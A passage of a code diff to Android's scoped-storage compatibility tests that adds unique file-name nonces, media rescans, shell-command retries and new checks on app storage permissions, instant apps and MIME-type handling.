+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
import static com.google.common.truth.Truth.assertThat;
@@ -51,11 +57,15 @@
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
import android.provider.MediaStore;
import android.scopedstorage.cts.lib.TestUtils;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
+import android.text.TextUtils;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -74,6 +84,7 @@
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;
+import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Arrays;
@@ -92,9 +103,16 @@
private static final String TAG = "LegacyFileAccessTest";
static final String THIS_PACKAGE_NAME = InstrumentationRegistry.getContext().getPackageName();
- static final String IMAGE_FILE_NAME = "LegacyStorageTest_file.jpg";
- static final String VIDEO_FILE_NAME = "LegacyStorageTest_file.mp4";
- static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file.pdf";
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
+ static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
+ static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
private static final TestApp TEST_APP_A = new TestApp("TestAppA",
"android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
@@ -115,6 +133,7 @@
@After
public void teardown() throws Exception {
executeShellCommand("rm " + getShellFile());
+ MediaStore.scanFile(getContentResolver(), getShellFile());
}
/**
@@ -203,6 +222,7 @@
try {
executeShellCommand("touch " + existingFile);
+ MediaStore.scanFile(getContentResolver(), existingFile);
Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
fail("Opening file for read expected to fail: " + existingFile);
} catch (ErrnoException expected) {
@@ -255,6 +275,7 @@
FileDescriptor fd = null;
try {
executeShellCommand("touch " + existingFile);
+ MediaStore.scanFile(getContentResolver(), existingFile);
fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
} finally {
if (fd != null) {
@@ -296,6 +317,7 @@
final File shellFile = getShellFile();
executeShellCommand("touch " + getShellFile());
+ MediaStore.scanFile(getContentResolver(), getShellFile());
// can list a non-media file created by other package.
assertThat(Arrays.asList(shellFile.getParentFile().list()))
.contains(shellFile.getName());
@@ -363,6 +385,7 @@
"LegacyFileAccessTest2");
try {
executeShellCommand("touch " + shellFile1);
+ MediaStore.scanFile(getContentResolver(), shellFile1);
// app can't rename shell file.
assertCantRenameFile(shellFile1, shellFile2);
// app can't move shell file to its media directory.
@@ -397,6 +420,7 @@
"LegacyFileAccessTest2");
try {
executeShellCommand("touch " + shellFile1);
+ MediaStore.scanFile(getContentResolver(), shellFile1);
// app can't rename shell file.
assertCantRenameFile(shellFile1, shellFile2);
// app can't move shell file to its media directory.
@@ -617,6 +641,35 @@
}
}
+ /**
+ * Test that legacy apps creating files for existing db row doesn't upsert and set IS_PENDING
+ */
+ @Test
+ public void testCreateDoesntUpsert() throws Exception {
+ pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+ pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+ final File file = new File(TestUtils.getDcimDir(), IMAGE_FILE_NAME);
+ Uri uri = null;
+ try {
+ uri = TestUtils.insertFileUsingDataColumn(file);
+ assertNotNull(uri);
+
+ assertTrue(file.createNewFile());
+
+ try (Cursor c = TestUtils.queryFile(file,
+ new String[] {MediaStore.MediaColumns.IS_PENDING})) {
+ // This file will not have IS_PENDING=1 because create didn't set IS_PENDING.
+ assertTrue(c.moveToFirst());
+ assertEquals(c.getInt(0), 0);
+ }
+ } finally {
+ file.delete();
+ // If create file fails, we should delete the inserted db row.
+ deleteWithMediaProviderNoThrow(uri);
+ }
+ }
+
@Test
public void testAndroidDataObbCannotBeDeleted() throws Exception {
File canDeleteDir = new File("/sdcard/canDelete");
@@ -636,6 +689,81 @@
assertThat(canDeleteDir.delete()).isTrue();
}
+ @Test
+ public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
+ pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+ pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+ final File fullPath = new File(TestUtils.getDcimDir(),
+ "OwnershipChange_" + IMAGE_FILE_NAME);
+ final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+ try {
+ installApp(TEST_APP_A, false);
+ createImageEntryAs(TEST_APP_A, relativePath);
+ assertThat(fullPath.createNewFile()).isTrue();
+
+ // We have transferred ownership away from TEST_APP_A so reads / writes
+ // should no longer work.
+ assertThat(openFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
+ assertThat(openFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+ } finally {
+ deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
+ uninstallAppNoThrow(TEST_APP_A);
+ fullPath.delete();
+ }
+ }
+
+ /**
+ * b/156717256,b/156336269: Test that MediaProvider doesn't throw error on usage of unsupported
+ * or empty/null MIME type.
+ */
+ @Test
+ public void testInsertWithUnsupportedMimeType() throws Exception {
+ pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+ pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+ final String IMAGE_FILE_DISPLAY_NAME = "LegacyStorageTest_file_" + NONCE;
+ final File imageFile = new File(TestUtils.getDcimDir(), IMAGE_FILE_DISPLAY_NAME + ".jpg");
+
+ for (String mimeType : new String[] {
+ "image/*", "", null, "foo/bar"
+ }) {
+ Uri uri = null;
+ try {
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+ if (TextUtils.isEmpty(mimeType)) {
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME, imageFile.getName());
+ } else {
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME, IMAGE_FILE_DISPLAY_NAME);
+ }
+ values.put(MediaStore.MediaColumns.MIME_TYPE, mimeType);
+
+ uri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+ assertNotNull(uri);
+
+ try (final OutputStream fos = getContentResolver().openOutputStream(uri, "rw")) {
+ fos.write(BYTES_DATA1);
+ }
+
+ // Closing the file should trigger a scan, we still scan again to ensure MIME type
+ // is extracted from file extension
+ assertNotNull(MediaStore.scanFile(getContentResolver(), imageFile));
+
+ final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME,
+ MediaStore.MediaColumns.MIME_TYPE};
+ try (Cursor c = getContentResolver().query(uri, projection, null, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertEquals(c.getCount(), 1);
+ assertEquals(c.getString(0), imageFile.getName());
+ assertTrue("image/jpeg".equalsIgnoreCase(c.getString(1)));
+ }
+ } finally {
+ deleteWithMediaProviderNoThrow(uri);
+ }
+ }
+ }
+
private static void assertCanCreateFile(File file) throws IOException {
if (file.exists()) {
file.delete();
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
index 57ddf29..7e59505 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
@@ -23,7 +23,6 @@
import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
-import org.junit.Test;
import org.junit.runner.RunWith;
/**
@@ -39,13 +38,4 @@
TestUtils.setExternalStorageVolume(volumeName);
super.setup();
}
-
- /**
- * This is not an actual test, but rather just a one time setup method that creates the new
- * public volume on which the test would run.
- */
- @Test
- public void setupNewPublicVolume() throws Exception {
- TestUtils.createNewPublicVolume();
- }
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index 3a5ba59..be2ae44 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -15,6 +15,6 @@
java_library {
name: "cts-scopedstorage-lib",
srcs: ["src/**/*.java"],
- static_libs: ["androidx.test.rules", "cts-install-lib"],
+ static_libs: ["androidx.test.rules", "cts-install-lib", "platform-test-annotations",],
sdk_version: "test_current"
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 22e6fb4..c0d6b57 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -65,6 +65,7 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
+import java.io.InterruptedIOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
@@ -84,8 +85,11 @@
public static final String INTENT_EXTRA_PATH = "android.scopedstorage.cts.path";
public static final String INTENT_EXCEPTION = "android.scopedstorage.cts.exception";
public static final String CREATE_FILE_QUERY = "android.scopedstorage.cts.createfile";
+ public static final String CREATE_IMAGE_ENTRY_QUERY =
+ "android.scopedstorage.cts.createimageentry";
public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
- public static final String OPEN_FILE_FOR_READ_QUERY = "android.scopedstorage.cts.openfile_read";
+ public static final String OPEN_FILE_FOR_READ_QUERY =
+ "android.scopedstorage.cts.openfile_read";
public static final String OPEN_FILE_FOR_WRITE_QUERY =
"android.scopedstorage.cts.openfile_write";
public static final String CAN_READ_WRITE_QUERY =
@@ -102,7 +106,7 @@
private static File sExternalStorageDirectory = Environment.getExternalStorageDirectory();
private static String sStorageVolumeName = MediaStore.VOLUME_EXTERNAL;
- private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+ private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
private static final long POLLING_SLEEP_MILLIS = 100;
/**
@@ -165,7 +169,21 @@
/**
* Executes a shell command.
*/
- public static String executeShellCommand(String cmd) throws Exception {
+ public static String executeShellCommand(String command) throws IOException {
+ int attempt = 0;
+ while (attempt++ < 5) {
+ try {
+ return executeShellCommandInternal(command);
+ } catch (InterruptedIOException e) {
+ // Hmm, we had trouble executing the shell command; the best we
+ // can do is try again a few more times
+ Log.v(TAG, "Trouble executing " + command + "; trying again", e);
+ }
+ }
+ throw new IOException("Failed to execute " + command);
+ }
+
+ private static String executeShellCommandInternal(String cmd) throws IOException {
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
try (FileInputStream output = new FileInputStream(
uiAutomation.executeShellCommand(cmd).getFileDescriptor())) {
@@ -210,6 +228,17 @@
}
/**
+ * Makes the given {@code testApp} create a mediastore DB entry under
+ * {@code MediaStore.Media.Images}.
+ *
+ * The {@code path} argument is treated as a relative path and a name separated
+ * by an {@code '/'}.
+ */
+ public static boolean createImageEntryAs(TestApp testApp, String path) throws Exception {
+ return getResultFromTestApp(testApp, path, CREATE_IMAGE_ENTRY_QUERY);
+ }
+
+ /**
* Makes the given {@code testApp} delete a file.
*
* <p>This method drops shell permission identity.
@@ -332,6 +361,13 @@
}
/**
+ * Returns the content URI for images based on the current storage volume.
+ */
+ public static Uri getImageContentUri() {
+ return MediaStore.Images.Media.getContentUri(sStorageVolumeName);
+ }
+
+ /**
* Renames the given file using {@link ContentResolver} and {@link MediaStore} and APIs.
* This method uses the data column, and not all apps can use it.
* @see MediaStore.MediaColumns#DATA
@@ -406,7 +442,7 @@
@NonNull
public static Cursor queryVideoFile(File file, String... projection) {
return queryFile(MediaStore.Video.Media.getContentUri(sStorageVolumeName), file,
- projection);
+ /*includePending*/ true, projection);
}
/**
@@ -416,7 +452,7 @@
@NonNull
public static Cursor queryImageFile(File file, String... projection) {
return queryFile(MediaStore.Images.Media.getContentUri(sStorageVolumeName), file,
- projection);
+ /*includePending*/ true, projection);
}
/**
@@ -884,7 +920,11 @@
intent.putExtra(INTENT_EXTRA_PATH, dirPath);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
getContext().startActivity(intent);
- latch.await();
+ if (!latch.await(POLLING_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)) {
+ final String errorMessage = "Timed out while waiting to receive " + actionName
+ + " intent from " + packageName;
+ throw new TimeoutException(errorMessage);
+ }
getContext().unregisterReceiver(broadcastReceiver);
}
@@ -991,22 +1031,38 @@
}
}
+ /**
+ * Queries {@link ContentResolver} for a file IS_PENDING=0 and returns a {@link Cursor} with the
+ * given columns.
+ */
@NonNull
- public static Cursor queryFile(@NonNull File file, String... projection) {
- return queryFile(
- MediaStore.Files.getContentUri(sStorageVolumeName), file, projection);
+ public static Cursor queryFileExcludingPending(@NonNull File file, String... projection) {
+ return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
+ /*includePending*/ false, projection);
}
@NonNull
- private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, String... projection) {
+ public static Cursor queryFile(@NonNull File file, String... projection) {
+ return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
+ /*includePending*/ true, projection);
+ }
+
+ @NonNull
+ private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, boolean includePending,
+ String... projection) {
Bundle queryArgs = new Bundle();
queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
MediaStore.MediaColumns.DATA + " = ?");
queryArgs.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS,
new String[] { file.getAbsolutePath() });
- queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_TRASHED, MediaStore.MATCH_INCLUDE);
+ if (includePending) {
+ queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
+ } else {
+ queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_EXCLUDE);
+ }
+
final Cursor c = getContentResolver().query(uri, projection, queryArgs, null);
assertThat(c).isNotNull();
return c;
@@ -1078,4 +1134,13 @@
}
throw new TimeoutException(errorMessage);
}
+
+ /**
+ * Polls for all files access to be allowed.
+ */
+ public static void pollForManageExternalStorageAllowed() throws Exception {
+ pollForCondition(
+ () -> Environment.isExternalStorageManager(),
+ "Timed out while waiting for MANAGE_EXTERNAL_STORAGE");
+ }
}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
index b0bf57e..e1fed5d 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
@@ -23,7 +23,6 @@
import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
-import org.junit.Test;
import org.junit.runner.RunWith;
/**
@@ -39,13 +38,4 @@
TestUtils.setExternalStorageVolume(volumeName);
super.setup();
}
-
- /**
- * This is not an actual test, but rather just a one time setup method that creates the new
- * public volume on which the test would run.
- */
- @Test
- public void setupNewPublicVolume() throws Exception {
- TestUtils.createNewPublicVolume();
- }
}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java
new file mode 100644
index 0000000..ce5d2a2
--- /dev/null
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts;
+
+import android.scopedstorage.cts.lib.TestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Creates public volume for running tests from {@link PublicVolumeTest} and
+ * {@link PublicVolumeLegacyTest}
+ */
+@RunWith(AndroidJUnit4.class)
+public class PublicVolumeTestHelper {
+ /**
+ * This is not an actual test, but rather just a one time setup method that creates the new
+ * public volume on which the test would run.
+ */
+ @Test
+ public void setupNewPublicVolume() throws Exception {
+ TestUtils.createNewPublicVolume();
+ }
+}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index d3b109b..bcffc67 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -27,6 +27,7 @@
import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
@@ -44,6 +45,7 @@
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
@@ -76,8 +78,10 @@
import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
+import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
@@ -110,6 +114,7 @@
import android.Manifest;
import android.app.AppOpsManager;
+import android.app.WallpaperManager;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.database.Cursor;
@@ -119,6 +124,7 @@
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.Process;
+import android.platform.test.annotations.AppModeInstant;
import android.provider.MediaStore;
import android.system.ErrnoException;
import android.system.Os;
@@ -158,14 +164,21 @@
static final String TAG = "ScopedStorageTest";
static final String THIS_PACKAGE_NAME = getContext().getPackageName();
- static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory";
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
- static final String AUDIO_FILE_NAME = "ScopedStorageTest_file.mp3";
- static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file.m3u";
- static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file.srt";
- static final String VIDEO_FILE_NAME = "ScopedStorageTest_file.mp4";
- static final String IMAGE_FILE_NAME = "ScopedStorageTest_file.jpg";
- static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file.pdf";
+ static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
+
+ static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
+ static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
+ static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
+ static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
+ static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
+ static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
@@ -187,8 +200,10 @@
// skips all test cases if FUSE is not active.
assumeTrue(getBoolean("persist.sys.fuse", false));
- pollForExternalStorageState();
- getExternalFilesDir().mkdirs();
+ if (!getContext().getPackageManager().isInstantApp()) {
+ pollForExternalStorageState();
+ getExternalFilesDir().mkdirs();
+ }
}
/**
@@ -499,6 +514,29 @@
}
/**
+ * Test that deleting uri corresponding to a file which was already deleted via filePath
+ * doesn't result in a security exception.
+ */
+ @Test
+ public void testDeleteAlreadyUnlinkedFile() throws Exception {
+ final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertTrue(nonMediaFile.createNewFile());
+ final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+ assertNotNull(uri);
+
+ // Delete the file via filePath
+ assertTrue(nonMediaFile.delete());
+
+ // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+ // security exception.
+ assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+ } finally {
+ nonMediaFile.delete();
+ }
+ }
+
+ /**
* This test relies on the fact that {@link File#list} uses opendir internally, and that it
* returns {@code null} if opendir fails.
*/
@@ -675,10 +713,8 @@
// TEST_APP_A should not see other app's external files directory.
installAppWithStoragePermissions(TEST_APP_A);
- // TODO(b/157650550): we don't have consistent behaviour on both primary and public
- // volumes
-// assertThrows(IOException.class,
-// () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
+ assertThrows(IOException.class,
+ () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
assertThrows(IOException.class,
() -> listAs(TEST_APP_A, getExternalFilesDir().getPath()));
} finally {
@@ -744,6 +780,8 @@
} finally {
executeShellCommand("rm " + pdfFile.getAbsolutePath());
executeShellCommand("rm " + videoFile.getAbsolutePath());
+ MediaStore.scanFile(getContentResolver(), pdfFile);
+ MediaStore.scanFile(getContentResolver(), videoFile);
uninstallAppNoThrow(TEST_APP_A);
}
}
@@ -867,14 +905,14 @@
try {
assertThat(file.createNewFile()).isTrue();
- // Since we can only place one F_WRLCK, the second open for readPfd will go
- // throuh FUSE
+ // We upgrade 'w' only to 'rw'
ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
assertRWR(readPfd, writePfd);
+ assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
assertLowerFsFd(writePfd);
- assertUpperFsFd(readPfd); // Without cache
+ assertLowerFsFd(readPfd);
} finally {
file.delete();
}
@@ -1030,6 +1068,27 @@
assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
}
+ @Test
+ public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+ File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+ File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+ try {
+ ParcelFileDescriptor upperCasePfd =
+ ParcelFileDescriptor.open(upperCaseFile,
+ ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+ ParcelFileDescriptor lowerCasePfd =
+ ParcelFileDescriptor.open(lowerCaseFile,
+ ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
+
+ assertRWR(upperCasePfd, lowerCasePfd);
+ assertRWR(lowerCasePfd, upperCasePfd);
+ } finally {
+ upperCaseFile.delete();
+ lowerCaseFile.delete();
+ }
+ }
+
private void createDeleteCreate(File create, File delete) throws Exception {
try {
assertThat(create.createNewFile()).isTrue();
@@ -1042,7 +1101,7 @@
Thread.sleep(5);
} finally {
create.delete();
- create.delete();
+ delete.delete();
}
}
@@ -1329,6 +1388,7 @@
videoFile.delete();
topLevelVideoFile.delete();
executeShellCommand("rm " + musicFile.getAbsolutePath());
+ MediaStore.scanFile(getContentResolver(), musicFile);
denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
}
}
@@ -1577,28 +1637,26 @@
@Test
public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
+ pollForManageExternalStorageAllowed();
+
final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
- try {
- allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
- // Nothing special about this, anyone can create an image file in DCIM
- assertCanCreateFile(imageFileInDcim);
- // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
- // create a top level file
- assertCanCreateFile(topLevelPdf);
- // It can even create a music file in Pictures
- assertCanCreateFile(musicFileInMovies);
- } finally {
- denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
+
+ // Nothing special about this, anyone can create an image file in DCIM
+ assertCanCreateFile(imageFileInDcim);
+ // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+ // create a top level file
+ assertCanCreateFile(topLevelPdf);
+ // It can even create a music file in Pictures
+ assertCanCreateFile(musicFileInMovies);
}
@Test
public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
- try {
- allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
+ pollForManageExternalStorageAllowed();
+ try {
// Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
installAppWithStoragePermissions(TEST_APP_A);
@@ -1607,8 +1665,7 @@
THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
NONMEDIA_FILE_NAME);
- assertThat(createFileAs(TEST_APP_A, otherAppExternalDataFile.getAbsolutePath()))
- .isTrue();
+ assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
// File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
// file manager app doesn't have access to other app's external files directory
@@ -1622,12 +1679,46 @@
() -> { otherAppExternalDataFile.createNewFile(); });
} finally {
- denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
}
}
/**
+ * Tests that an instant app can't access external storage.
+ */
+ @Test
+ @AppModeInstant
+ public void testInstantAppsCantAccessExternalStorage() throws Exception {
+ assumeTrue("This test requires that the test runs as an Instant app",
+ getContext().getPackageManager().isInstantApp());
+ assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
+
+ // Can't read ExternalStorageDir
+ assertThat(getExternalStorageDir().list()).isNull();
+
+ // Can't create a top-level direcotry
+ final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
+ assertThat(topLevelDir.mkdir()).isFalse();
+
+ // Can't create file under root dir
+ final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+ assertThrows(IOException.class,
+ () -> { newTxtFile.createNewFile(); });
+
+ // Can't create music file under /MUSIC
+ final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+ assertThrows(IOException.class,
+ () -> { newMusicFile.createNewFile(); });
+
+ // getExternalFilesDir() is not null
+ assertThat(getExternalFilesDir()).isNotNull();
+
+ // Can't read/write app specific dir
+ assertThat(getExternalFilesDir().list()).isNull();
+ assertThat(getExternalFilesDir().exists()).isFalse();
+ }
+
+ /**
* Test that apps can create and delete hidden file.
*/
@Test
@@ -1943,6 +2034,8 @@
@Test
public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
+ pollForManageExternalStorageAllowed();
+
final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
@@ -1954,8 +2047,6 @@
assertThat(createFileAs(TEST_APP_A, otherAppImage.getPath())).isTrue();
assertThat(createFileAs(TEST_APP_A, otherAppMusic.getPath())).isTrue();
